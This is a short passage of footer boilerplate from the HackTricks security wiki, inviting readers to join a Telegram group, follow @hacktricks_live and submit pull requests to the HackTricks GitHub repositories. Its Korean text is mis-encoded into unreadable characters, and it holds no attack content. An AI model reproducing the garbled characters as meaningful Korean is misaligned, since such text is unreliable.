๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


